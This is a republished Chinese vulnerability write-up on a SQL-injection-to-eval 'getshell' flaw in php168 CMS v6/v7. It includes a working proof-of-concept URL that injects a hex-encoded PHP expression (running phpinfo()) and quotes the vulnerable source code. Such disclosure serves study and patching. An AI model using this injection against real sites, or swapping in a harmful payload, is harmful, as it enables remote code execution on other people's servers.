php168 v6/v7鸡肋Getshell安全问题
内容导读
互联网集市收集整理的这篇技术教程文章主要介绍了php168 v6/v7鸡肋Getshell安全问题，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含1095字，纯文字阅读大概需要2分钟。
内容图文
刚搜了一下貌似和以前一个漏洞是一个问题。有点鸡肋，需要条件：
1.网站配置为：文章生成真静态
2.允许注册会员
给出v6的测试代码，提交后执行phpinfo()，v7原理一样，只是数据库字段数不一样。
member/list.php?step=2&Type=delete&aidDB[]=-1)%20union%20select%201,2,3,4,5,6,7,8,9,10,1,2,3,4,15,6,7,8,9,10,1,2,3,4,25,6,7,8,9,10,1,2,3,4,35,6,7,8,9,10,1,2,3,4,45,6,7,8,9,10,1,2,3,4,0x7B247B706870696E666F28297D7D,6,7%23
0x01 漏洞在make_more_article_html这个函数：
function make_more_article_html($comebackurl=‘/‘,$type=‘‘,$aidDB=‘‘){
global $db,$pre,$webdb,$webdb,$showHtml_Type;
if($webdb[NewsMakeHtml]!=1||$aidDB==‘‘) // $webdb[NewsMakeHtml] 真静态
{ return ;}
...
$query = $db->query("SELECT A.*,B.bencandy_html,B.list_html,D.aid FROM {$pre}article_db D LEFT JOIN {$pre}article A ON D.aid=A.aid LEFT JOIN {$pre}sort B ON A.fid=B.fid WHERE D.aid IN ($string)");
while($rs = $db->fetch_array($query)){
...
$filename_b=$rs[bencandy_html];
...
eval("\$showurl=\"$filename_b\";");
...
0x02 在 \member\list.php中调用了该漏洞函数：
if($step==2){
...
if($Type==‘delete‘){
make_more_article_html("$FROMURL","del_0",$aidDB);
by： k4shifz[w.s.t]
原文：http://www.jb51.net/hack/34748.html
内容总结
以上是互联网集市为您收集整理的php168 v6/v7鸡肋Getshell安全问题全部内容，希望文章能够帮你解决php168 v6/v7鸡肋Getshell安全问题所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。
内容备注
版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。
内容手机端
扫描二维码推送至手机访问。